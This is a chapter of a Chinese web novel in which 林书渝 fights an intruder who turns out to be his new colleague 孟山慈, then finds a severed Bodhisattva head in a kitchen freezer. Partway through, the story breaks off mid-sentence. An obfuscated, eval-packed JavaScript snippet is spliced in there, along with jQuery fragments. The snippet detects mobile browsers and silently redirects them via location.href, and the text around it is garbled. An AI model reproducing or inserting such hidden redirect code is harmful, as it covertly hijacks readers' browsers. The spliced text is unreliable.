12. 一场乌龙
作品:《被怪物饲养后》 蛙鸣被林书渝手动关闭,安静的房间里没有一点声音,也让楼道里传来的脚步声越发明晰。老旧的楼房隔音效果很糟糕,隔着几层墙壁,林书渝可以根据声音的大小辨断距离。
哒、哒、哒。声音很清脆,是带硬跟的鞋子。每过十五秒脚步声会稍小,说明来到了转角的平台处。按照平均步幅,对方应当是个二十五岁左右的女性,体型高挑,受过良好的仪态教育。
这种人,不可能是老旧公寓楼的住户。
快速在脑海中勾勒出来者的形象,林书渝放轻脚步移到卧室门后,顺带着拿起了墙边的折叠椅。
与他心中料想的一样,脚步声越来越近,对方的目标明显就是这里。铁丝在门锁中拔弄的声音传来,随即就是疑惑的气音。下一秒,门被推开,来访者光明正大踏进了这间屋子。
脚步声顿了顿,林书渝知道,这是自己留下的痕迹被看出来了。
“原来有人比我还先到吗?”温柔的女声响起,分明是很有亲和力的声线,落到林书渝耳中却有些虚伪。他抿了抿唇,刻意收敛了自己的呼吸声。
虽然没有得到回应,女人却依然一边慢条丝理地打开第一间房间的门,一边继续说道:“您是同行,还是误闯进来的小贼?别担心,我没有恶意,只是想确定一下您的身份。”
对方已经近在咫尺,林书渝捂紧似乎想说些什么的泥偶的嘴,将他随手扔进背包,拿着折叠椅的手臂向后摆去,做好挥出去的准备。
三米、二米、一米……终于,一双浅棕色的低跟鞋出现在了门下缝隙的后方。在对方推门那一刻,林书渝一个闪身,原先头部的位置瞬间被一把匕首贯穿!
木屑簇簇落下,女人将匕首收回,眉头微蹙:“真可惜,打空了。”
“……”林书渝瞳孔轻颤,再看向那张挂满温柔笑意的脸时眼底染上几分杀意。
女人转头,对上他纯黑的瞳孔,嘴角上扬的弧度扩大几分:“好漂亮的一对眼睛,现在我又得庆幸自己刚才没打中了。”
咚!折叠椅边缘的铁架重重撞上门板,女人在千钧一发之际下蹲躲过了这一击。林书渝反手将椅面下压,木质椅背狠狠砸到女人肩上!她发出吃痛的闷哼,另一只手迅速将匕首向前刺去,锋利的尖端直接穿透了木质椅背。
“小哥,身手不错啊。”女人用后撤步躲过呼面而来的椅子腿,吹掉匕首上的木屑,表情却没有语气那么轻松。
林书渝没有理会她的话,只是再一次挥动折叠椅,直冲她的太阳穴而去!这一次,椅背如旋风般在桌上刮过,将上面的物品尽数扫落在地。
啧,又打空了。林书渝的眉眼染上几分烦躁,后退几步和女人拉开距离。直到这时,他才真正看清了女人的面庞:五官柔美,是很容易让人信任的长相。墨绿色的眼瞳在阴影处和黑色无异,只在光线下暴露出几分端倪。
只是一眼,林书渝就已经做出了辨断——她不是普通人。没有任何引申义,仅仅是字面意思。更严谨一点,应该说“不是普通人类”。
“你是谁?”
女人愣了愣,随即露出了无奈的表情:“小哥,我们都打这么好几个来回了,你才想起来问我这个?”
林书渝将目光落到门板上的破洞上,想说什么已经溢于言表:“如果不是你上来就用杀招,我不会选择和你打。”
“没办法,我平时工作环境比较复杂,习惯进到某间屋子里就把所有会喘气的都干掉。”女人转动着手中的匕首,锋利的刀刃在她手中像翩飞的蝴蝶,说出这话时有些心不在焉。
林书渝冷笑一声:“这就是你动手的原因?”
女人对他眨了眨眼睛:“难道你没有在喘气吗?还有,别忘了,你手里可是也拿着东西呢。你敢发誓自己没有和我一样的想法?”
林书渝沉默不语。她说得不错,如果没有那把突然刺来的刀,他的折叠椅会在女人开门后亲吻上她的后脑勺。
女人观察着他的表情,知道自己说对了,无辜地摊了摊手:“既然我们目的相同,我又挨了你一椅子,那就算扯平了。还是说……你想继续打?”
空气又变得凝重起来,林书渝握住椅子的手默默收紧,聆听着对方匕首转动的声音。就在这时,他身后的背包剧烈抖动了几下,随即便是泥偶恼怒的声音:“孟山慈,你给我收手!这是你的新同事!”
方才还在对峙的两人同时向声音的来源投以惊讶的目光,背包又摆动了两下,拉链从里面被拉开,浑身裹满黏液的泥偶飞了出来,漂浮在他们中间。
“老板?”名为孟山慈的女人将匕首收起,声音充满了疑惑,“你怎么……等等,他就是那个新人?”
泥偶的半张脸都蒙着层黑气,凉凉地说道:“我记得我给你发了消息。”
孟山慈掏出手机看了眼,轻描淡写道:“啊,我刚刚在开车,没看见。”
泥偶狐疑地盯着她:“你是不是把我拉黑了?”
“怎么会呢?”孟山慈敷衍地回答道,马上将话题引到了林书渝身上,“林书渝,对吧?我叫孟山慈,方才没认出是你真是抱歉。”
差一点就被同事谋杀,也差一点就谋杀同事的林书渝表示理解:“谨慎是好事。”
“有你这句话我就放心了。不过,这件事还是我做得不对,我欠你个人情。”孟山慈把匕首绑回手臂上,脸上又挂回了那幅温和的笑容,只是比之前真挚许多。
林书渝也真挚地点了点头:“嗯,我会记住的。”
孟山慈愣了愣,笑容里多了几分无奈:“你的性格还真有趣,比我之前的那几个搭档要好多了。”
“是吗?谢谢。”林书渝姑且将这句话当作称赞,在泥偶想飞落到他肩头上有些嫌弃地挡了挡。
“你在哪弄成这样的?”
泥偶不可置信地望着他:“你真的看不出来吗?”
在他说话时,斗篷上的黏液顺着边缘滑落,在半空中拉出一条透明的细丝。青蛙从拉链中间冒出来,皮肤上的粘液从背包
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152195|164872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底下滴落,两条线呈现出完美的对称图形。
林书渝无言地把青蛙又按了回去,装作若无其事般说道:“噢……青蛙可能是有点饿了。”
“呱。”青蛙发出了饱嗝声。
泥偶静静地与他对视,那双豆豆眼中充满了谴责。
林书渝与他僵持了一会,最终遗憾落败,心虚地抬起了手:“好吧,我带你去洗洗。”
泥偶勉为其难地落到他的手背上,顺便瞪了眼在旁边偷笑的孟山慈。被老板怒视的老员工丝毫没有收敛,反而变本加厉,笑吟吟地说道:“哎呀,这幅样子的老板可少见,我得多看两眼才行。”
林书渝的动作一顿,有些困惑地抬起头:“你没见过?”
“是啊,这一次也是沾了你的光才让我见到呢。”孟山慈的语气意味深长,“看来老板很看重你。”
手背上的温度瞬间降低,由于泥偶正好背对他,林书渝没法看到泥偶的表情变化,只能看到孟山慈在下一秒就噤了声,还特地做了个给嘴拉拉链的动作。
“鱼鱼,走吧。”手背上的寒意散去,泥偶转过来,面上还是那对人畜无害的豆豆眼,“我记得厨房那里有水龙头。”
林书渝眼中划过一抹思索,点了点头,带着他朝厨房而去。
吕士升的厨房面积很狭窄,挤在阳台和厕所的中间,显得有些不伦不类。林书渝一走进去,入目就是砧板上堆叠成山的鲜红肉块,角落里塞满了报纸团,像是在藏什么东西。
水槽明显没怎么清洗过,布满了水垢和油渍。泥偶嫌弃地晃了两下,还没等他反悔,方才还稳稳托着他的手就向前一抛,将他抛进水池里后打开水龙头,毫不犹豫地抽身离开,徒留他在水流下茫然。
快速“解决”老板的洗澡需求,林书渝将报纸团拨开,在看到只剩半截、躺在竹篮里的塑像时发出了果然如此的语气词。
那尊塑像的肩膀以上部位都空荡荡一片,只留下一道过分平整的切口。林书渝凑近看了看,大既能确定这是用菜刀砍出来的。
也不知道吕士升怎么下的刀,塑像的四只手臂分毫未损,在半空中舒展出玄妙的姿态。只有那从脊柱中部长出的第五只手从小臂开始断开,看上去越发诡异。
哗哗的水流声中,林书渝快走几步将冰箱门拉开,被扑面而来的血腥味冲得眉头紧皱。冰箱里也同时被报纸塞满,那浓郁的血腥味来源于冰箱内壁的暗红冰层,很难想象吕士升之前到底在里头放过多少生肉。
报纸团因为他的动作而散落下来,几乎铺满半个厨房。在挖出一条直通最深处的道路后,林书渝停下动作,提高音量向外呼唤:“孟山慈,你能过来下吗?我找到了点东西。”
说完,他将头转回去,对上那张在梦境中阴魂不散的、熟悉的慈悲面庞。
只剩头颅的菩萨静静地躺在冰层之中,笑容与划开他腹部时别无二致。
于是,林书渝又补充了一句:
“最好快一点,我有点想砸它。”